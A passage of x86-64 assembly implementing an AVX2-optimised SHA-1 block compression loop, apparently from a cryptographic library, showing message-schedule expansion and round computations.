movl (4)(%rdi), %ebp
movl (8)(%rdi), %ecx
movl (12)(%rdi), %edx
movl (16)(%rdi), %r8d
.p2align 5, 0x90
.Lsha1_block2_loopgas_1:
lea (64)(%rsi), %r13
cmp $(64), %r14
cmovbe %rsi, %r13
vmovdqa SHA1_YMM_K(%rip), %ymm12
vmovdqu (%rsi), %xmm9
vmovdqu (16)(%rsi), %xmm8
vmovdqu (32)(%rsi), %xmm7
vmovdqu (48)(%rsi), %xmm6
vinserti128 $(1), (%r13), %ymm9, %ymm9
vinserti128 $(1), (16)(%r13), %ymm8, %ymm8
vinserti128 $(1), (32)(%r13), %ymm7, %ymm7
vinserti128 $(1), (48)(%r13), %ymm6, %ymm6
mov %rsp, %r13
vpshufb %ymm11, %ymm9, %ymm2
vpaddd %ymm12, %ymm2, %ymm9
vmovdqa %ymm9, (%r13)
vpshufb %ymm11, %ymm8, %ymm9
vpaddd %ymm12, %ymm9, %ymm8
vmovdqa %ymm8, (32)(%r13)
vpshufb %ymm11, %ymm7, %ymm8
vpaddd %ymm12, %ymm8, %ymm7
vmovdqa %ymm7, (64)(%r13)
vpshufb %ymm11, %ymm6, %ymm7
vpaddd %ymm12, %ymm7, %ymm6
vmovdqa %ymm6, (96)(%r13)
rorx $(2), %ebp, %ebx
andn %edx, %ebp, %r10d
and %ecx, %ebp
xor %r10d, %ebp
vpalignr $(8), %ymm2, %ymm9, %ymm6
vpsrldq $(4), %ymm7, %ymm0
vpxor %ymm2, %ymm6, %ymm6
vpxor %ymm8, %ymm0, %ymm0
addl (%r13), %r8d
andn %ecx, %eax, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
and %ebx, %eax
add %r11d, %r8d
xor %r10d, %eax
vpxor %ymm0, %ymm6, %ymm6
vpsrld $(31), %ymm6, %ymm0
vpslldq $(12), %ymm6, %ymm1
vpaddd %ymm6, %ymm6, %ymm6
addl (4)(%r13), %edx
andn %ebx, %r8d, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
and %ebp, %r8d
add %r11d, %edx
xor %r10d, %r8d
vpsrld $(30), %ymm1, %ymm10
vpxor %ymm0, %ymm6, %ymm6
vpslld $(2), %ymm1, %ymm1
vpxor %ymm10, %ymm6, %ymm6
addl (8)(%r13), %ecx
andn %ebp, %edx, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
and %eax, %edx
add %r11d, %ecx
xor %r10d, %edx
vpxor %ymm1, %ymm6, %ymm6
vpaddd %ymm12, %ymm6, %ymm0
vmovdqa %ymm0, (128)(%r13)
addl (12)(%r13), %ebx
andn %eax, %ecx, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
and %r8d, %ecx
add %r11d, %ebx
xor %r10d, %ecx
vmovdqa SHA1_YMM_K+32(%rip), %ymm12
vpalignr $(8), %ymm9, %ymm8, %ymm5
vpsrldq $(4), %ymm6, %ymm0
vpxor %ymm9, %ymm5, %ymm5
vpxor %ymm7, %ymm0, %ymm0
addl (32)(%r13), %ebp
andn %r8d, %ebx, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
and %edx, %ebx
add %r11d, %ebp
xor %r10d, %ebx
vpxor %ymm0, %ymm5, %ymm5
vpsrld $(31), %ymm5, %ymm0
vpslldq $(12), %ymm5, %ymm1
vpaddd %ymm5, %ymm5, %ymm5
addl (36)(%r13), %eax
andn %edx, %ebp, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
and %ecx, %ebp
add %r11d, %eax
xor %r10d, %ebp
vpsrld $(30), %ymm1, %ymm10
vpxor %ymm0, %ymm5, %ymm5
vpslld $(2), %ymm1, %ymm1
vpxor %ymm10, %ymm5, %ymm5
addl (40)(%r13), %r8d
andn %ecx, %eax, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
and %ebx, %eax
add %r11d, %r8d
xor %r10d, %eax
vpxor %ymm1, %ymm5, %ymm5
vpaddd %ymm12, %ymm5, %ymm0
vmovdqa %ymm0, (160)(%r13)
addl (44)(%r13), %edx
andn %ebx, %r8d, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
and %ebp, %r8d
add %r11d, %edx
xor %r10d, %r8d
vpalignr $(8), %ymm8, %ymm7, %ymm4
vpsrldq $(4), %ymm5, %ymm0
vpxor %ymm8, %ymm4, %ymm4
vpxor %ymm6, %ymm0, %ymm0
addl (64)(%r13), %ecx
andn %ebp, %edx, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
and %eax, %edx
add %r11d, %ecx
xor %r10d, %edx
vpxor %ymm0, %ymm4, %ymm4
vpsrld $(31), %ymm4, %ymm0
vpslldq $(12), %ymm4, %ymm1
vpaddd %ymm4, %ymm4, %ymm4
addl (68)(%r13), %ebx
andn %eax, %ecx, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
and %r8d, %ecx
add %r11d, %ebx
xor %r10d, %ecx
vpsrld $(30), %ymm1, %ymm10
vpxor %ymm0, %ymm4, %ymm4
vpslld $(2), %ymm1, %ymm1
vpxor %ymm10, %ymm4, %ymm4
addl (72)(%r13), %ebp
andn %r8d, %ebx, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
and %edx, %ebx
add %r11d, %ebp
xor %r10d, %ebx
vpxor %ymm1, %ymm4, %ymm4
vpaddd %ymm12, %ymm4, %ymm0
vmovdqa %ymm0, (192)(%r13)
addl (76)(%r13), %eax
andn %edx, %ebp, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
and %ecx, %ebp
add %r11d, %eax
xor %r10d, %ebp
vpalignr $(8), %ymm7, %ymm6, %ymm3
vpsrldq $(4), %ymm4, %ymm0
vpxor %ymm7, %ymm3, %ymm3
vpxor %ymm5, %ymm0, %ymm0
addl (96)(%r13), %r8d
andn %ecx, %eax, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
and %ebx, %eax
add %r11d, %r8d
xor %r10d, %eax
vpxor %ymm0, %ymm3, %ymm3
vpsrld $(31), %ymm3, %ymm0
vpslldq $(12), %ymm3, %ymm1
vpaddd %ymm3, %ymm3, %ymm3
addl (100)(%r13), %edx
andn %ebx, %r8d, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
and %ebp, %r8d
add %r11d, %edx
xor %r10d, %r8d
vpsrld $(30), %ymm1, %ymm10
vpxor %ymm0, %ymm3, %ymm3
vpslld $(2), %ymm1, %ymm1
vpxor %ymm10, %ymm3, %ymm3
addl (104)(%r13), %ecx
andn %ebp, %edx, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
and %eax, %edx
add %r11d, %ecx
xor %r10d, %edx
vpxor %ymm1, %ymm3, %ymm3
vpaddd %ymm12, %ymm3, %ymm0
vmovdqa %ymm0, (224)(%r13)
addl (108)(%r13), %ebx
add $(128), %r13
andn %eax, %ecx, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
and %r8d, %ecx
add %r11d, %ebx
xor %r10d, %ecx
vpalignr $(8), %ymm4, %ymm3, %ymm0
vpxor %ymm9, %ymm2, %ymm2
addl (%r13), %ebp
andn %r8d, %ebx, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
and %edx, %ebx
add %r11d, %ebp
xor %r10d, %ebx
vpxor %ymm6, %ymm2, %ymm2
vpxor %ymm0, %ymm2, %ymm2
addl (4)(%r13), %eax
andn %edx, %ebp, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
and %ecx, %ebp
add %r11d, %eax
xor %r10d, %ebp
vpslld $(2), %ymm2, %ymm0
vpsrld $(30), %ymm2, %ymm2
addl (8)(%r13), %r8d
andn %ecx, %eax, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
and %ebx, %eax
add %r11d, %r8d
xor %r10d, %eax
vpxor %ymm2, %ymm0, %ymm2
vpaddd %ymm12, %ymm2, %ymm0
vmovdqa %ymm0, (128)(%r13)
addl (12)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
add %r11d, %edx
xor %ebp, %r8d
xor %ebx, %r8d
vpalignr $(8), %ymm3, %ymm2, %ymm0
vpxor %ymm8, %ymm9, %ymm9
addl (32)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
vpxor %ymm5, %ymm9, %ymm9
vpxor %ymm0, %ymm9, %ymm9
addl (36)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
vpslld $(2), %ymm9, %ymm0
vpsrld $(30), %ymm9, %ymm9
addl (40)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
vpxor %ymm9, %ymm0, %ymm9
vpaddd %ymm12, %ymm9, %ymm0
vmovdqa %ymm0, (160)(%r13)
addl (44)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
vmovdqa SHA1_YMM_K+64(%rip), %ymm12
vpalignr $(8), %ymm2, %ymm9, %ymm0
vpxor %ymm7, %ymm8, %ymm8
addl (64)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
vpxor %ymm4, %ymm8, %ymm8
vpxor %ymm0, %ymm8, %ymm8
addl (68)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
vpslld $(2), %ymm8, %ymm0
vpsrld $(30), %ymm8, %ymm8
addl (72)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
vpxor %ymm8, %ymm0, %ymm8
vpaddd %ymm12, %ymm8, %ymm0
vmovdqa %ymm0, (192)(%r13)
addl (76)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
vpalignr $(8), %ymm9, %ymm8, %ymm0
vpxor %ymm6, %ymm7, %ymm7
addl (96)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
vpxor %ymm3, %ymm7, %ymm7
vpxor %ymm0, %ymm7, %ymm7
addl (100)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
vpslld $(2), %ymm7, %ymm0
vpsrld $(30), %ymm7, %ymm7
addl (104)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
vpxor %ymm7, %ymm0, %ymm7
vpaddd %ymm12, %ymm7, %ymm0
vmovdqa %ymm0, (224)(%r13)
addl (108)(%r13), %edx
add $(128), %r13
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
vpalignr $(8), %ymm8, %ymm7, %ymm0
vpxor %ymm5, %ymm6, %ymm6
addl (%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
vpxor %ymm2, %ymm6, %ymm6
vpxor %ymm0, %ymm6, %ymm6
addl (4)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
vpslld $(2), %ymm6, %ymm0
vpsrld $(30), %ymm6, %ymm6
addl (8)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
vpxor %ymm6, %ymm0, %ymm6
vpaddd %ymm12, %ymm6, %ymm0
vmovdqa %ymm0, (128)(%r13)
addl (12)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
vpalignr $(8), %ymm7, %ymm6, %ymm0
vpxor %ymm4, %ymm5, %ymm5
addl (32)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
vpxor %ymm9, %ymm5, %ymm5
vpxor %ymm0, %ymm5, %ymm5
addl (36)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
vpslld $(2), %ymm5, %ymm0
vpsrld $(30), %ymm5, %ymm5
addl (40)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
vpxor %ymm5, %ymm0, %ymm5
vpaddd %ymm12, %ymm5, %ymm0
vmovdqa %ymm0, (160)(%r13)
addl (44)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
mov %r8d, %r10d
xor %eax, %r10d
and %r10d, %ecx
vpalignr $(8), %ymm6, %ymm5, %ymm0
vpxor %ymm3, %ymm4, %ymm4
addl (64)(%r13), %ebp
xor %r8d, %ecx
mov %edx, %r10d
xor %r8d, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
and %r10d, %ebx
vpxor %ymm8, %ymm4, %ymm4
vpxor %ymm0, %ymm4, %ymm4
addl (68)(%r13), %eax
xor %edx, %ebx
mov %ecx, %r10d
xor %edx, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
and %r10d, %ebp
vpslld $(2), %ymm4, %ymm0
vpsrld $(30), %ymm4, %ymm4
addl (72)(%r13), %r8d
xor %ecx, %ebp
mov %ebx, %r10d
xor %ecx, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
and %r10d, %eax
vpxor %ymm4, %ymm0, %ymm4
vpaddd %ymm12, %ymm4, %ymm0
vmovdqa %ymm0, (192)(%r13)
addl (76)(%r13), %edx
xor %ebx, %eax
mov %ebp, %r10d
xor %ebx, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
and %r10d, %r8d
vmovdqa SHA1_YMM_K+96(%rip), %ymm12
vpalignr $(8), %ymm5, %ymm4, %ymm0
vpxor %ymm2, %ymm3, %ymm3
addl (96)(%r13), %ecx
xor %ebp, %r8d
mov %eax, %r10d
xor %ebp, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
and %r10d, %edx
vpxor %ymm7, %ymm3, %ymm3
vpxor %ymm0, %ymm3, %ymm3
addl (100)(%r13), %ebx
xor %eax, %edx
mov %r8d, %r10d
xor %eax, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
and %r10d, %ecx
vpslld $(2), %ymm3, %ymm0
vpsrld $(30), %ymm3, %ymm3
addl (104)(%r13), %ebp
xor %r8d, %ecx
mov %edx, %r10d
xor %r8d, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
and %r10d, %ebx
vpxor %ymm3, %ymm0, %ymm3
vpaddd %ymm12, %ymm3, %ymm0
vmovdqa %ymm0, (224)(%r13)
addl (108)(%r13), %eax
add $(128), %r13
xor %edx, %ebx
mov %ecx, %r10d
xor %edx, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
and %r10d, %ebp
vpalignr $(8), %ymm4, %ymm3, %ymm0
vpxor %ymm9, %ymm2, %ymm2
addl (%r13), %r8d
xor %ecx, %ebp
mov %ebx, %r10d
xor %ecx, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
and %r10d, %eax
vpxor %ymm6, %ymm2, %ymm2
vpxor %ymm0, %ymm2, %ymm2
addl (4)(%r13), %edx
xor %ebx, %eax
mov %ebp, %r10d
xor %ebx, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
and %r10d, %r8d
vpslld $(2), %ymm2, %ymm0
vpsrld $(30), %ymm2, %ymm2
addl (8)(%r13), %ecx
xor %ebp, %r8d
mov %eax, %r10d
xor %ebp, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
and %r10d, %edx
vpxor %ymm2, %ymm0, %ymm2
vpaddd %ymm12, %ymm2, %ymm0
vmovdqa %ymm0, (128)(%r13)
addl (12)(%r13), %ebx
xor %eax, %edx
mov %r8d, %r10d
xor %eax, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
and %r10d, %ecx
vpalignr $(8), %ymm3, %ymm2, %ymm0
vpxor %ymm8, %ymm9, %ymm9
addl (32)(%r13), %ebp
xor %r8d, %ecx
mov %edx, %r10d
xor %r8d, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
and %r10d, %ebx
vpxor %ymm5, %ymm9, %ymm9
vpxor %ymm0, %ymm9, %ymm9
addl (36)(%r13), %eax
xor %edx, %ebx
mov %ecx, %r10d
xor %edx, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
and %r10d, %ebp
vpslld $(2), %ymm9, %ymm0
vpsrld $(30), %ymm9, %ymm9
addl (40)(%r13), %r8d
xor %ecx, %ebp
mov %ebx, %r10d
xor %ecx, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
and %r10d, %eax
vpxor %ymm9, %ymm0, %ymm9
vpaddd %ymm12, %ymm9, %ymm0
vmovdqa %ymm0, (160)(%r13)
addl (44)(%r13), %edx
xor %ebx, %eax
mov %ebp, %r10d
xor %ebx, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
and %r10d, %r8d
vpalignr $(8), %ymm2, %ymm9, %ymm0
vpxor %ymm7, %ymm8, %ymm8
addl (64)(%r13), %ecx
xor %ebp, %r8d
mov %eax, %r10d
xor %ebp, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
and %r10d, %edx
vpxor %ymm4, %ymm8, %ymm8
vpxor %ymm0, %ymm8, %ymm8
addl (68)(%r13), %ebx
xor %eax, %edx
mov %r8d, %r10d
xor %eax, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
and %r10d, %ecx
vpslld $(2), %ymm8, %ymm0
vpsrld $(30), %ymm8, %ymm8
addl (72)(%r13), %ebp
xor %r8d, %ecx
mov %edx, %r10d
xor %r8d, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
and %r10d, %ebx
vpxor %ymm8, %ymm0, %ymm8
vpaddd %ymm12, %ymm8, %ymm0
vmovdqa %ymm0, (192)(%r13)
addl (76)(%r13), %eax
xor %edx, %ebx
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
vpalignr $(8), %ymm9, %ymm8, %ymm0
vpxor %ymm6, %ymm7, %ymm7
addl (96)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
vpxor %ymm3, %ymm7, %ymm7
vpxor %ymm0, %ymm7, %ymm7
addl (100)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
vpslld $(2), %ymm7, %ymm0
vpsrld $(30), %ymm7, %ymm7
addl (104)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
vpxor %ymm7, %ymm0, %ymm7
vpaddd %ymm12, %ymm7, %ymm0
vmovdqa %ymm0, (224)(%r13)
addl (108)(%r13), %ebx
add $(128), %r13
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (4)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (8)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (12)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (32)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (36)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (40)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (44)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (64)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (68)(%r13), %edx
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
xor %ebp, %r8d
add %r11d, %edx
xor %ebx, %r8d
addl (72)(%r13), %ecx
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
xor %eax, %edx
add %r11d, %ecx
xor %ebp, %edx
addl (76)(%r13), %ebx
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
xor %r8d, %ecx
add %r11d, %ebx
xor %eax, %ecx
addl (96)(%r13), %ebp
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
xor %edx, %ebx
add %r11d, %ebp
xor %r8d, %ebx
addl (100)(%r13), %eax
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
xor %ecx, %ebp
add %r11d, %eax
xor %edx, %ebp
addl (104)(%r13), %r8d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
xor %ebx, %eax
add %r11d, %r8d
xor %ecx, %eax
addl (108)(%r13), %edx
add $(128), %r13
add %eax, %edx
rorx $(27), %r8d, %r11d
add %r11d, %edx
lea (16)(%rsp), %r13
addl (%rdi), %edx
movl %edx, (%rdi)
addl (4)(%rdi), %r8d
movl %r8d, (4)(%rdi)
addl (8)(%rdi), %ebp
movl %ebp, (8)(%rdi)
addl (12)(%rdi), %ebx
movl %ebx, (12)(%rdi)
addl (16)(%rdi), %ecx
movl %ecx, (16)(%rdi)
cmp $(128), %r14
jl .Ldonegas_1
rorx $(2), %r8d, %eax
andn %ebx, %r8d, %r10d
and %ebp, %r8d
xor %r10d, %r8d
addl (%r13), %ecx
andn %ebp, %edx, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
and %eax, %edx
add %r11d, %ecx
xor %r10d, %edx
addl (4)(%r13), %ebx
andn %eax, %ecx, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
and %r8d, %ecx
add %r11d, %ebx
xor %r10d, %ecx
addl (8)(%r13), %ebp
andn %r8d, %ebx, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
and %edx, %ebx
add %r11d, %ebp
xor %r10d, %ebx
addl (12)(%r13), %eax
andn %edx, %ebp, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
and %ecx, %ebp
add %r11d, %eax
xor %r10d, %ebp
addl (32)(%r13), %r8d
andn %ecx, %eax, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
and %ebx, %eax
add %r11d, %r8d
xor %r10d, %eax
addl (36)(%r13), %edx
andn %ebx, %r8d, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
and %ebp, %r8d
add %r11d, %edx
xor %r10d, %r8d
addl (40)(%r13), %ecx
andn %ebp, %edx, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
and %eax, %edx
add %r11d, %ecx
xor %r10d, %edx
addl (44)(%r13), %ebx
andn %eax, %ecx, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
and %r8d, %ecx
add %r11d, %ebx
xor %r10d, %ecx
addl (64)(%r13), %ebp
andn %r8d, %ebx, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
and %edx, %ebx
add %r11d, %ebp
xor %r10d, %ebx
addl (68)(%r13), %eax
andn %edx, %ebp, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
and %ecx, %ebp
add %r11d, %eax
xor %r10d, %ebp
addl (72)(%r13), %r8d
andn %ecx, %eax, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
and %ebx, %eax
add %r11d, %r8d
xor %r10d, %eax
addl (76)(%r13), %edx
andn %ebx, %r8d, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
and %ebp, %r8d
add %r11d, %edx
xor %r10d, %r8d
addl (96)(%r13), %ecx
andn %ebp, %edx, %r10d
add %r8d, %ecx
rorx $(27), %edx, %r11d
rorx $(2), %edx, %r8d
and %eax, %edx
add %r11d, %ecx
xor %r10d, %edx
addl (100)(%r13), %ebx
andn %eax, %ecx, %r10d
add %edx, %ebx
rorx $(27), %ecx, %r11d
rorx $(2), %ecx, %edx
and %r8d, %ecx
add %r11d, %ebx
xor %r10d, %ecx
addl (104)(%r13), %ebp
andn %r8d, %ebx, %r10d
add %ecx, %ebp
rorx $(27), %ebx, %r11d
rorx $(2), %ebx, %ecx
and %edx, %ebx
add %r11d, %ebp
xor %r10d, %ebx
addl (108)(%r13), %eax
add $(128), %r13
andn %edx, %ebp, %r10d
add %ebx, %eax
rorx $(27), %ebp, %r11d
rorx $(2), %ebp, %ebx
and %ecx, %ebp
add %r11d, %eax
xor %r10d, %ebp
addl (%r13), %r8d
andn %ecx, %eax, %r10d
add %ebp, %r8d
rorx $(27), %eax, %r11d
rorx $(2), %eax, %ebp
and %ebx, %eax
add %r11d, %r8d
xor %r10d, %eax
addl (4)(%r13), %edx
andn %ebx, %r8d, %r10d
add %eax, %edx
rorx $(27), %r8d, %r11d
rorx $(2), %r8d, %eax
and %ebp, %r8d
add %r11d, %edx
xor %r10d, %r8d
addl (8)(%r13), %ecx
andn %ebp, %edx, %r10d
add %r8d, %ecx
